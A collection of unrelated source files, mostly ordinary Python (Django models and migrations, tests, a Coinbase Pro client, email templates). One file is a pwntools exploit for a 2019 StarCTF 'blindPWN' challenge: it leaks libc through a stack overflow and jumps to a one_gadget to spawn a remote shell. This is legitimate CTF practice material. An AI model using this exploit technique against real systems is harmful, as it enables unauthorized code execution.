# Load the defaults values into the Excellon Format and Excellon Zeros fields
self.excellon_defaults_button.clicked.connect(self.on_excellon_defaults_button)
# Make sure that when the Excellon loading parameters are changed, the change is reflected in the
# Export Excellon parameters.
self.update_excellon_cb.stateChanged.connect(self.on_update_exc_export)
# call it once to make sure it is updated at startup
self.on_update_exc_export(state=self.app.defaults["excellon_update"])
self.excellon_optimization_radio.activated_custom.connect(self.optimization_selection)
def optimization_selection(self):
if self.excellon_optimization_radio.get_value() == 'M':
self.optimization_time_label.setDisabled(False)
self.optimization_time_entry.setDisabled(False)
else:
self.optimization_time_label.setDisabled(True)
self.optimization_time_entry.setDisabled(True)
# Setting plot colors handlers
def on_fill_color_entry(self):
self.app.defaults['excellon_plot_fill'] = self.fill_color_entry.get_value()[:7] + \
self.app.defaults['excellon_plot_fill'][7:9]
def on_line_color_entry(self):
self.app.defaults['excellon_plot_line'] = self.line_color_entry.get_value()[:7] + \
self.app.defaults['excellon_plot_line'][7:9]
def on_excellon_alpha_changed(self, spinner_value):
self.app.defaults['excellon_plot_fill'] = \
self.app.defaults['excellon_plot_fill'][:7] + \
(hex(spinner_value)[2:] if int(hex(spinner_value)[2:], 16) > 0 else '00')
self.app.defaults['excellon_plot_line'] = \
self.app.defaults['excellon_plot_line'][:7] + \
(hex(spinner_value)[2:] if int(hex(spinner_value)[2:], 16) > 0 else '00')
def on_excellon_defaults_button(self):
self.app.preferencesUiManager.defaults_form_fields["excellon_format_lower_in"].set_value('4')
self.app.preferencesUiManager.defaults_form_fields["excellon_format_upper_in"].set_value('2')
self.app.preferencesUiManager.defaults_form_fields["excellon_format_lower_mm"].set_value('3')
self.app.preferencesUiManager.defaults_form_fields["excellon_format_upper_mm"].set_value('3')
self.app.preferencesUiManager.defaults_form_fields["excellon_zeros"].set_value('L')
self.app.preferencesUiManager.defaults_form_fields["excellon_units"].set_value('INCH')
def on_update_exc_export(self, state):
"""
This is handling the update of Excellon Export parameters based on the ones in the Excellon General but only
if the update_excellon_cb checkbox is checked
:param state: state of the checkbox whose signals is tied to his slot
:return:
"""
if state:
# first try to disconnect
try:
self.excellon_format_upper_in_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_lower_in_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_upper_mm_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_lower_mm_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_zeros_radio.activated_custom.disconnect(self.on_excellon_zeros_changed)
except TypeError:
pass
try:
self.excellon_units_radio.activated_custom.disconnect(self.on_excellon_zeros_changed)
except TypeError:
pass
# the connect them
self.excellon_format_upper_in_entry.returnPressed.connect(self.on_excellon_format_changed)
self.excellon_format_lower_in_entry.returnPressed.connect(self.on_excellon_format_changed)
self.excellon_format_upper_mm_entry.returnPressed.connect(self.on_excellon_format_changed)
self.excellon_format_lower_mm_entry.returnPressed.connect(self.on_excellon_format_changed)
self.excellon_zeros_radio.activated_custom.connect(self.on_excellon_zeros_changed)
self.excellon_units_radio.activated_custom.connect(self.on_excellon_units_changed)
else:
# disconnect the signals
try:
self.excellon_format_upper_in_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_lower_in_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_upper_mm_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_format_lower_mm_entry.returnPressed.disconnect(self.on_excellon_format_changed)
except TypeError:
pass
try:
self.excellon_zeros_radio.activated_custom.disconnect(self.on_excellon_zeros_changed)
except TypeError:
pass
try:
self.excellon_units_radio.activated_custom.disconnect(self.on_excellon_zeros_changed)
except TypeError:
pass
def on_excellon_format_changed(self):
"""
Slot activated when the user changes the Excellon format values in Preferences -> Excellon -> Excellon General
:return: None
"""
if self.excellon_units_radio.get_value().upper() == 'METRIC':
self.app.ui.excellon_defaults_form.excellon_exp_group.format_whole_entry.set_value(
self.excellon_format_upper_mm_entry.get_value())
self.app.ui.excellon_defaults_form.excellon_exp_group.format_dec_entry.set_value(
self.excellon_format_lower_mm_entry.get_value())
else:
self.app.ui.excellon_defaults_form.excellon_exp_group.format_whole_entry.set_value(
self.excellon_format_upper_in_entry.get_value())
self.app.ui.excellon_defaults_form.excellon_exp_group.format_dec_entry.set_value(
self.excellon_format_lower_in_entry.get_value())
def on_excellon_zeros_changed(self, val):
"""
Slot activated when the user changes the Excellon zeros values in Preferences -> Excellon -> Excellon General
:return: None
"""
self.app.ui.excellon_defaults_form.excellon_exp_group.zeros_radio.set_value(val + 'Z')
def on_excellon_units_changed(self, val):
"""
Slot activated when the user changes the Excellon unit values in Preferences -> Excellon -> Excellon General
:return: None
"""
self.app.ui.excellon_defaults_form.excellon_exp_group.excellon_units_radio.set_value(val)
self.on_excellon_format_changed()
| 2.125 | 2 |
tests/task/test_graph_task.py | nathanawmk/fidesops | 0 | 12768813 | import dask
from fidesops.graph.config import (
CollectionAddress,
)
from fidesops.graph.traversal import Traversal
from fidesops.models.connectionconfig import ConnectionConfig, ConnectionType
from fidesops.models.policy import Policy
from fidesops.task.graph_task import collect_queries, TaskResources, EMPTY_REQUEST
from .traversal_data import sample_traversal
from ..graph.graph_test_util import (
MockSqlTask,
)
dask.config.set(scheduler="processes")
connection_configs = [
ConnectionConfig(key="mysql", connection_type=ConnectionType.postgres),
ConnectionConfig(key="postgres", connection_type=ConnectionType.postgres),
]
def test_to_dask_input_data() -> None:
t = sample_traversal()
n = t.traversal_node_dict[CollectionAddress("mysql", "Address")]
task = MockSqlTask(n, TaskResources(EMPTY_REQUEST, Policy(), connection_configs))
customers_data = [
{"contact_address_id": 31, "foo": "X"},
{"contact_address_id": 32, "foo": "Y"},
]
orders_data = [
{"billing_address_id": 1, "shipping_address_id": 2},
{"billing_address_id": 11, "shipping_address_id": 22},
]
v = task.to_dask_input_data(customers_data, orders_data)
assert set(v["id"]) == {31, 32, 1, 2, 11, 22}
def test_sql_dry_run_queries() -> None:
traversal = sample_traversal()
env = collect_queries(
traversal,
TaskResources(EMPTY_REQUEST, Policy(), connection_configs),
)
assert (
env[CollectionAddress("mysql", "Customer")]
== "SELECT customer_id,name,email,contact_address_id FROM Customer WHERE email = ?"
)
assert (
env[CollectionAddress("mysql", "User")]
== "SELECT id,user_id,name FROM User WHERE user_id = ?"
)
assert (
env[CollectionAddress("postgres", "Order")]
== "SELECT order_id,customer_id,shipping_address_id,billing_address_id FROM Order WHERE customer_id IN (?, ?)"
)
assert (
env[CollectionAddress("mysql", "Address")]
== "SELECT id,street,city,state,zip FROM Address WHERE id IN (?, ?)"
)
def test_mongo_dry_run_queries() -> None:
from .traversal_data import integration_db_graph
traversal = Traversal(integration_db_graph("postgres"), {"email": ["x"]})
env = collect_queries(
traversal,
TaskResources(
EMPTY_REQUEST,
Policy(),
[
ConnectionConfig(key="mysql", connection_type=ConnectionType.mongodb),
ConnectionConfig(
key="postgres", connection_type=ConnectionType.mongodb
),
],
),
)
assert (
env[CollectionAddress("postgres", "customer")]
== "db.postgres.customer.find({'email': ?}, {'id': 1, 'name': 1, 'email': 1, 'address_id': 1})"
)
assert (
env[CollectionAddress("postgres", "orders")]
== "db.postgres.orders.find({'customer_id': {'$in': [?, ?]}}, {'id': 1, 'customer_id': 1, 'shipping_address_id': 1, 'payment_card_id': 1})"
)
assert (
env[CollectionAddress("postgres", "address")]
== "db.postgres.address.find({'id': {'$in': [?, ?]}}, {'id': 1, 'street': 1, 'city': 1, 'state': 1, 'zip': 1})"
)
| 2.234375 | 2 |
emailuser/forms.py | simlist/djangorestframework_useremail | 0 | 12768814 | from django.contrib.auth.forms import UserCreationForm, UserChangeForm
from .models import EmailUser
class EmailUserCreationForm(UserCreationForm):
class Meta(UserCreationForm):
model = EmailUser
fields = ('email', 'name')
class EmailUserChangeForm(UserChangeForm):
class Meta:
model = EmailUser
fields = ('email', 'name') | 2.296875 | 2 |
stackdio/api/cloud/migrations/0001_0_8_initial.py | hdmillerdr/stackdio | 9 | 12768815 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import django.core.files.storage
import django.utils.timezone
import django_extensions.db.fields
from django.conf import settings
from django.db import migrations, models
import stackdio.core.fields
def get_config_file_path(instance, filename):
return filename
def get_global_orch_props_file_path(instance, filename):
return 'cloud/{0}/{1}'.format(instance.slug, filename)
class Migration(migrations.Migration):
initial = True
dependencies = [
('blueprints', '0001_0_8_initial'),
]
replaces = [
('cloud', '0001_initial'),
('cloud', '0002_initial'),
('cloud', '0004_v0_7_migrations'),
('cloud', '0005_v0_7b_migrations'),
('cloud', '0006_v0_7c_migrations'),
('cloud', '0007_v0_7d_migrations'),
('cloud', '0008_v0_7e_migrations'),
]
operations = [
migrations.CreateModel(
name='CloudAccount',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),
('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
('yaml', models.TextField()),
('vpc_id', models.CharField(max_length=64, verbose_name='VPC ID', blank=True)),
('account_id', models.CharField(max_length=64, verbose_name='Account ID')),
('create_security_groups', models.BooleanField(default=True, verbose_name='Create Security Groups')),
('config_file', stackdio.core.fields.DeletingFileField(default=None, upload_to=get_config_file_path, storage=django.core.files.storage.FileSystemStorage(location=settings.STACKDIO_CONFIG.salt_providers_dir), max_length=255, blank=True, null=True)),
('global_orch_props_file', stackdio.core.fields.DeletingFileField(default=None, upload_to=get_global_orch_props_file_path, storage=django.core.files.storage.FileSystemStorage(location=settings.FILE_STORAGE_DIRECTORY), max_length=255, blank=True, null=True)),
],
options={
'ordering': ('title',),
'default_permissions': ('admin', 'create', 'delete', 'update', 'view'),
},
),
migrations.CreateModel(
name='CloudImage',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),
('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
('image_id', models.CharField(max_length=64, verbose_name='Image ID')),
('ssh_user', models.CharField(max_length=64, verbose_name='SSH User')),
('config_file', stackdio.core.fields.DeletingFileField(default=None, upload_to=get_config_file_path, storage=django.core.files.storage.FileSystemStorage(location=settings.STACKDIO_CONFIG.salt_profiles_dir), max_length=255, blank=True, null=True)),
],
options={
'ordering': ('title',),
'default_permissions': ('admin', 'create', 'delete', 'update', 'view'),
},
),
migrations.CreateModel(
name='CloudInstanceSize',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
('instance_id', models.CharField(max_length=64, verbose_name='Instance ID')),
],
options={
'ordering': ('id',),
'default_permissions': (),
},
),
migrations.CreateModel(
name='CloudProvider',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('name', models.CharField(unique=True, max_length=32, verbose_name='Name', choices=[('ec2', 'Amazon Web Services')])),
],
options={
'default_permissions': ('admin', 'view'),
},
),
migrations.CreateModel(
name='CloudRegion',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
],
options={
'ordering': ('provider', 'title'),
'default_permissions': (),
},
),
migrations.CreateModel(
name='CloudZone',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
],
options={
'ordering': ('region', 'title'),
'default_permissions': (),
},
),
migrations.CreateModel(
name='SecurityGroup',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),
('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),
('name', models.CharField(max_length=255)),
('description', models.CharField(max_length=255)),
('group_id', models.CharField(max_length=16)),
('is_default', models.BooleanField(default=False)),
('is_managed', models.BooleanField(default=False)),
('account', models.ForeignKey(related_name='security_groups', to='cloud.CloudAccount')),
('blueprint_host_definition', models.ForeignKey(related_name='security_groups', default=None, to='blueprints.BlueprintHostDefinition', null=True)),
],
options={
'default_permissions': ('admin', 'create', 'delete', 'update', 'view'),
},
),
migrations.CreateModel(
name='Snapshot',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('created', django_extensions.db.fields.CreationDateTimeField(default=django.utils.timezone.now, verbose_name='created', editable=False, blank=True)),
('modified', django_extensions.db.fields.ModificationDateTimeField(default=django.utils.timezone.now, verbose_name='modified', editable=False, blank=True)),
('title', models.CharField(max_length=255, verbose_name='title')),
('description', models.TextField(null=True, verbose_name='description', blank=True)),
('slug', django_extensions.db.fields.AutoSlugField(populate_from='title', verbose_name='slug', editable=False, blank=True)),
('snapshot_id', models.CharField(max_length=32)),
('size_in_gb', models.IntegerField()),
('filesystem_type', models.CharField(max_length=16, choices=[('ext2', 'ext2'), ('ext3', 'ext3'), ('ext4', 'ext4'), ('fuse', 'fuse'), ('xfs', 'xfs')])),
('account', models.ForeignKey(related_name='snapshots', to='cloud.CloudAccount')),
],
options={
'default_permissions': ('admin', 'create', 'delete', 'update', 'view'),
},
),
]
| 1.75 | 2 |
ticket/migrations/0014_ticket_team_name.py | skp-github/pydbug | 1 | 12768816 | # Generated by Django 2.0.1 on 2019-06-10 15:07
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('ticket', '0013_auto_20190603_0738'),
]
operations = [
migrations.AddField(
model_name='ticket',
name='team_name',
field=models.ForeignKey(blank=True, default=None, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='ticket_team', to='ticket.Team'),
),
]
| 1.53125 | 2 |
pywim/estimation/speed/speed_by_peak.py | xmnfw/pywim | 4 | 12768817 | from pywim.utils.stats import iqr
import numpy as np
import pandas as pd
import peakutils
def sensors_estimation(
signal_data: pd.DataFrame, sensors_delta_distance: list
) -> [np.array]:
"""
:param signal_data:
:param sensors_delta_distance:
:return:
"""
# x axis: time
x = signal_data.index.values
sensors_peak_time = []
sensors_delta_time = [None]
for k in signal_data.keys():
# y axis: volts
y = signal_data[k].values
indexes = peakutils.indexes(y, thres=0.5, min_dist=30)
sensors_peak_time.append(x[indexes])
for i in range(1, len(sensors_peak_time)):
sensors_delta_time.append(
sensors_peak_time[i] - sensors_peak_time[i - 1]
)
# the information about first sensor should be equal to the second sensor
sensors_delta_time[0] = sensors_delta_time[1]
sensors_delta_speed = []
for i in range(len(sensors_delta_distance)):
sensors_delta_speed.append(
sensors_delta_distance[i] / sensors_delta_time[i]
)
# the information about first sensor should be equal to the second sensor
sensors_delta_speed[0] = sensors_delta_speed[1]
return sensors_delta_speed
def average_estimation(
signal_data: pd.DataFrame=None,
sensors_delta_distance: list=None,
sensors_delta_speed: list=None
) -> float:
"""
:param signal_data:
:param sensors_delta_distance:
:param sensors_delta_speed:
:return:
"""
if not sensors_delta_speed:
sensors_delta_speed = sensors_estimation(
signal_data, sensors_delta_distance
)
speed_values = np.array([])
for sensor_speeds in sensors_delta_speed[1:]:
speed_values = np.concatenate((speed_values, sensor_speeds))
return iqr.reject_outliers(pd.Series(speed_values)).mean()
| 2.859375 | 3 |
setup.py | Oxygem/MiniWiki | 4 | 12768818 | from setuptools import find_packages, setup
INSTALL_REQUIRES = [
'cheroot==8.3.0',
'flask==1.1.2',
'flask-sqlalchemy==2.4.3',
'sqlalchemy==1.3.7',
'bcrypt==3.1.7',
'hashids==1.2.0',
'click==7.1.2',
'markdown==2.6.9',
'mdx-linkify==1.0',
]
DEV_REQUIRES = [
'wheel',
'twine',
]
MEMCACHE_REQUIRES = [
'pymemcache==3.2.0',
]
if __name__ == '__main__':
setup(
version='0.7',
name='MiniWiki',
author='<NAME>',
author_email='<EMAIL>',
license='MIT',
packages=find_packages(exclude=['tests']),
entry_points={
'console_scripts': (
'miniwiki=miniwiki.__main__:start_miniwiki',
),
},
python_requires='>=3.6',
install_requires=INSTALL_REQUIRES,
extras_require={
'dev': DEV_REQUIRES,
'memcache': MEMCACHE_REQUIRES,
},
include_package_data=True,
)
| 1.335938 | 1 |
public/cantusdata/views/manuscript_glyph_set.py | DDMAL/cantus | 12 | 12768819 | from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework.renderers import JSONRenderer
from cantusdata.models import Manuscript
from cantusdata.serializers.search import SearchSerializer
from cantusdata.helpers.solrsearch import SolrSearchQueryless
class ManuscriptGlyphSetView(APIView):
serializer_class = SearchSerializer
renderer_classes = (JSONRenderer,)
def get(self, request, *args, **kwargs):
manuscript = Manuscript.objects.get(id=kwargs["pk"])
result = (
SolrSearchQueryless(
'q=type%3Acantusdata_music_notation+AND+siglum_slug%3A"{0}"'.format(
manuscript.siglum_slug
)
)
.facets(["neumes"])
.facet_counts["facet_fields"]["neumes"]
)
return Response(result)
| 2.09375 | 2 |
src/generate.py | itshui3/BE-Server | 0 | 12768820 | <reponame>itshui3/BE-Server<filename>src/generate.py
from . import db, create_app
from .models import Item, Room, Merchant, Npc
app = create_app()
app.app_context().push()
from .items_generator import items
def commit_items(items):
with app.app_context():
delete_rows = db.session.query(Item).delete()
print(f'Items deleted: {delete_rows}')
db.session.commit()
for key, item in items.items():
db.session.add(item)
db.session.commit()
commit_items(items)
from .rooms_generator import rooms
def commit_rooms(rooms):
with app.app_context():
delete_rows = db.session.query(Room).delete()
print(f'Rooms deleted: {delete_rows}')
db.session.commit()
for key, room in rooms.items():
db.session.add(room)
db.session.commit()
commit_rooms(rooms)
from .merchant_generator import merchant
def commit_merchant(merchant):
with app.app_context():
delete_rows = db.session.query(Merchant).delete()
print(f'Merchant deleted: {delete_rows}')
db.session.commit()
db.session.add(merchant)
db.session.commit()
commit_merchant(merchant)
from .monsters_generator import monsters
# Going to deprecate this method of spawning mobs
# def commit_monster(monsters):
# with app.app_context():
# delete_rows = db.session.query(Npc).delete()
# print(f'Npcs deleted: {delete_rows}')
# db.session.commit()
# for key, monster in monsters.items():
# db.session.add(monster)
# db.session.commit()
# commit_monster(monsters) | 2.625 | 3 |
flaskquotes/afi.py | Jeff-Moorhead/flaskquotes | 1 | 12768821 | import requests
import json
import os
import logging
from random import randint
from bs4 import BeautifulSoup
class AFITop100:
def __init__(self, quotes):
self.quotes = quotes
def get_random_quote(self):
firstquote_index = min(self.quotes.keys())
lastquote_index = max(self.quotes.keys())
random_index = randint(firstquote_index, lastquote_index)
return tuple([random_index, self.quotes[random_index]])
def get_quote(self, index):
return tuple([index, self.quotes.get(index)])
def store_quotes_json(packed_quotes):
quotes_file = get_quotes_filename()
if not os.path.exists(os.path.dirname(quotes_file)):
os.makedirs(os.path.dirname(quotes_file))
with open(quotes_file, 'w') as fh:
json.dump(packed_quotes, fh)
def fetch_quotes_json():
quotes_file = get_quotes_filename()
with open(quotes_file, 'r') as fh:
quotes = json.load(fh)
keys = map(int, quotes.keys())
return dict(zip(keys, quotes.values()))
def check_json_exists():
quotes_file = get_quotes_filename()
return os.path.exists(quotes_file)
def get_quotes_filename():
datadir = os.path.expandvars("$HOME/data")
return os.path.join(datadir, 'quotes.json')
def fetch_afi_quotes_html(url='https://www.afi.com/afis-100-years-100-movie-quotes/'):
try:
page = requests.get(url)
page.raise_for_status()
return page.content
except requests.exceptions.HTTPError as e:
logging.error(f"Something went wront in fetch_afi_quotes_html: {e}")
raise
except requests.ConnectionError as e:
logging.error("No internet connection available to fetch quotes.")
raise
def find_quotes(html, selector='div.single_list.col-sm-12.movie_popup'):
try:
soup = BeautifulSoup(html, 'html.parser')
quotes = soup.select(selector)
return quotes
except Exception as e:
logging.error(f"Unable to select movie elements: {e}")
raise
def pack_quotes(quotes, **kwargs):
"""
:param quotes: a list of BeautifulSoup tags containing quotes, and quote details
:return: a dictionary of packaged quotes
"""
packed_quotes = {}
for group in quotes:
raw = group.select_one(kwargs.get('quotetag'))
raw_quote = raw.string
raw_quote = raw_quote.strip()
rank, quote = raw_quote.split(" ", 1)
rank = int(rank.rstrip("."))
raw = group.select_one(kwargs.get('movietag'))
raw_movie, raw_year = raw.strings
raw_movie = raw_movie.strip()
movie = raw_movie.title()
raw_year = raw_year.lstrip('(')
year = raw_year.rstrip(')')
packed_quotes[rank] = {"Quote": quote, "Movie": movie, "Year": year}
return packed_quotes
| 2.703125 | 3 |
PWN/2019StarCTF/blindPWN/exp.py | Cossack9989/SEC_LEARNING | 13 | 12768822 | from pwn import *
from binascii import hexlify as hl
tmain_addr = 0x4006ce
start_addr = 0x400570
'''
def get_stop_addr(length):
addr = 0x401000
while 1:
try:
sh = remote('172.16.31.10', 10000)
sh.recvuntil('!\n')
print hex(addr)
payload = 'a' * length + p64(addr)
sh.sendline(payload)
sh.recvuntil("bye!")
#print sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr) #0x40070a
raw_input()
return addr
except Exception:
addr += 1
sh.close()
get_stop_addr(40)
'''
io = remote("172.16.31.10",10000)
io.recvuntil("!\n")
#io.sendline("a"*40+p64(0x40070a))
#io.sendline("a"*40+p64(0x4006ec))
io.sendline("a"*40+p64(0x400515)+p64(0x400570))
io.recv(0x48)
libc_base = u64(io.recv(8))-0x20830
success("LIBC BASE -> %#x"%libc_base)
for i in range(18):
print hex(u64(io.recv(8)))
io.recvuntil("pwn!\n")
io.sendline("a"*40+p64(libc_base+0x45216))
io.interactive()
'''
0a000000 011b033b
40000000 07000000
44fdffff 8c000000
a4fdffff 5c000000
9afeffff b4000000
bffeffff d4000000
02ffffff f4000000
54ffffff 14010000
c4ffffff 5c010000
14000000 00000000
017a5200 01781001
1b0c0708 90010710
14000000 1c000000
40fdffff 2a000000
00000000 00000000
14000000 00000000
017a5200 01781001
1b0c0708 90010000
24000000 1c000000
b0fcffff 50000000
000e1046 0e184a0f
0b770880 003f1a3b
2a332422 00000000
1c000000 44000000
defdffff 25000000
00410e10 8602430d
06600c07 08000000
1c000000 64000000
e3fdffff 43000000
00410e10 8602430d
067e0c07 08000000
'''
'''
6161616161616161
6161616161616161
6161616161616161
6161616161616161
6161616161616161
1505400000000000
0a192886fe7f0000
0000000001000000
2007400000000000
3088d4a2a37f0000
0100000000000000
58192886fe7f0000
a07c31a301000000
ce06400000000000
0000000000000000
eeeea08a6cfb2d4d
7005400000000000
50192886fe7f0000
0000000000000000
0000000000000000
eeeee0b5bcf7d0b2
eeee308b45be6ab2
0000000000000000
0000000000000000
0000000000000000
68192886fe7f0000
689131a3a37f0000
db2710a3a37f0000
0000000000000000
0000000000000000
7005400000000000
50192886fe7f0000
'''
'''
57656c636f6d6520
746f207468697320
626c696e64207077
6e210a00476f6f64627965210a000000011b033b400000000700000044fdffff8c000000a4fdffff5c0000009afeffffb4000000bffeffffd400000002fffffff400000054ffffff14010000c4ffffff5c0100001400000000000000017a5200017810011b0c070890010710140000001c00000040fdffff2a00000000000000000000001400000000000000017a5200017810011b0c070890010000240000001c000000b0fcffff50000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000defdffff2500000000410e108602430d06600c07080000001c000000
'''
| 2.21875 | 2 |
coinbase_pro/api_authenticated.py | fakecoinbase/TerrellVslashpython-coinbasepro-api | 0 | 12768823 | <reponame>fakecoinbase/TerrellVslashpython-coinbasepro-api
import time
import json
import numpy as np
import pandas as pd
from coinbase_pro.auth import Auth
from coinbase_pro.api_public import CBProPublic
from coinbase_pro.api import API
pd.set_option('max_rows', 100)
pd.set_option('max_columns', 15)
pd.set_option('display.width', 500)
class CBProAuthenticated():
def __init__(self, credentials, sandbox_mode=False):
LIVE_URL = 'https://api.pro.coinbase.com/'
SANDBOX_URL = 'https://api-public.sandbox.pro.coinbase.com/'
base_url = SANDBOX_URL if sandbox_mode else LIVE_URL
self.cb_public = CBProPublic(sandbox_mode=sandbox_mode)
self.api = API(base_url)
self.auth = Auth(**credentials)
self.accounts = self.api.get('accounts', auth=self.auth).json()
def __getattr__(self, name):
try:
return getattr(self.cb_public, name)
except AttributeError:
raise AttributeError(f'The authenticated and public api objects do not have attribute {name}.')
def refresh_accounts(self):
self.accounts = self.api.get('accounts', auth=self.auth).json()
def fill_history(self, product_id, order_id=None, start_date=None, end_date=None):
'''Get all fills associated with a given product id'''
end_point = 'fills'
params = {'product_id': product_id.upper()}
data = self.api.handle_page_nation(end_point, params=params, start_date=start_date, auth=self.auth)
returned_value = data.copy().to_dict(orient='records')
return returned_value if data is not None else None
@staticmethod
def _apply_unique_id_to_activity(entry):
if entry['type'] == 'match':
entry['unique_id'] = entry['details.order_id']
entry['unique_id_type'] = 'order_id'
if entry['type'] == 'transfer':
entry['unique_id'] = entry['details.transfer_id']
entry['unique_id_type'] = 'transfer_id'
return entry
def asset_activity(self, asset_symbol, start_date=None, end_date=None):
'''Get all activity related to a given asset'''
asset_symbol = asset_symbol.upper()
account_id = [account['id'] for account in self.accounts if account['currency'] == asset_symbol][0]
activity = self.api.handle_page_nation(f"accounts/{account_id}/ledger", start_date=start_date, auth=self.auth)
no_activity = len(activity) == 0
if no_activity:
return activity
activity = map(self._apply_unique_id_to_activity, activity)
activity = [
{
**entry,
'created_at': entry['created_at'].strftime('%Y-%m-%d %H:%M:%S:%f'),
'symbol': asset_symbol,
'amount': str(entry['amount']),
'balance': str(entry['balance'])
}
for entry in activity
]
return activity
def completed_orders(self, product_id=None):
orders = self.api.handle_page_nation(
'orders',
date_field='done_at',
start_date='2019-01-01',
auth=self.auth,
params={'status':'done'}
)
orders = list(filter(lambda order: order['done_reason'] == 'filled', orders))
return orders
def market_buy(self, funds, product_id, delay=False):
'''send order to api and handle errors'''
order_payload = {
'side': 'buy',
'type': 'market',
'product_id': product_id.upper(),
'funds': str(funds),
}
r = self.api.post('orders', params={}, data=order_payload, auth=self.auth)
if delay:
time.sleep(0.4)
return r
def market_sell(self, size, product_id, delay=False):
'''send order to api and handle errors'''
order_payload = {
'side': 'sell',
'type': 'market',
'product_id': product_id.upper(),
'size': str(size),
}
r = self.api.post('orders', params={}, data=order_payload, auth=self.auth)
if delay:
time.sleep(0.4)
return r
if __name__ == '__main__':
with open('credentials.json') as f:
credentials = json.loads(f.read())
auth_api = CBProAuthenticated(credentials)
orders = auth_api.completed_orders()
print(json.dumps(orders, indent=4))
# print(auth_api.api.get())
# asset_activity = auth_api.asset_activity(
# asset_symbol='BTC',
# start_date='2019-01-01',
# end_date='2020-01-01'
# )
# print(json.dumps(asset_activity, indent=4)) | 2.40625 | 2 |
auctions/emails.py | MaxGosselin/alpha-auctions | 1 | 12768824 | <reponame>MaxGosselin/alpha-auctions
from django.core.mail import send_mail
from homepage.models import User
import decimal
AUCTION_POSTED="""
\n
Your auction has been accepted.
\n
Thank you for using Alpha Auctions and good luck!
\n
You can view the status of your auction at http://alpha-auctions.herokuapp.com/accounts/login
\n
\n
Alpha Auctions Team 50.
"""
def transaction_notify(transaction):
winbid = transaction.t_price
comp = decimal.Decimal(0.01) * winbid
auction = transaction.t_auction
buyer = transaction.t_buyer
seller = transaction.t_seller
buyer_text = f"""
Congratulations Team {buyer.team} you have won an auction for:
\tAsset Type: {auction.asset_class}
\n
\tGrade: {auction.grade}
\n
\tRegion: {auction.region}
\n
\tQuantity: {auction.region}
\n
\tShipping Method: {transaction.shipping}
\n
============
\n
\tWinning Bid: {winbid}
\n
\tTransaction Value: {winbid * auction.quantity}
\n
\tTransaction Fee: ${round(comp,2)} CAD
\n
Please contact the seller: *Team {seller.team}* through intopmail or at {seller.email}.
\n
The service payment to Team 50 (Alpha Auctions) is due immediately upon receipt of this notice. Service payments are to be made to the home office.
\n\n
Thank you for doing business with Alpha Auctions! Don't hesitate to reach out for help facilitating the complete execution of this transaction.
\n
Team 50
"""
seller_text = f"""
Congratulations Team {seller.team} you have sold your auction for:
\tAsset Type: {auction.asset_class}
\n
\tGrade: {auction.grade}
\n
\tRegion: {auction.region}
\n
\tQuantity: {auction.region}
\n
\tBuyers Chosen Shipping Method: {transaction.shipping}
\n
============
\n
\tWinning Bid: {winbid}
\n
\tTransaction Value: {winbid * auction.quantity}
\n
\tTransaction Fee: ${round(comp,2)} CAD
\n
The buyer *Team {buyer.team}* through intopmail or at {buyer.email}.
\n
The service payment to Team 50 (Alpha Auctions) is due immediately upon receipt of this notice. Service payments are to be made to the home office.
\n\n
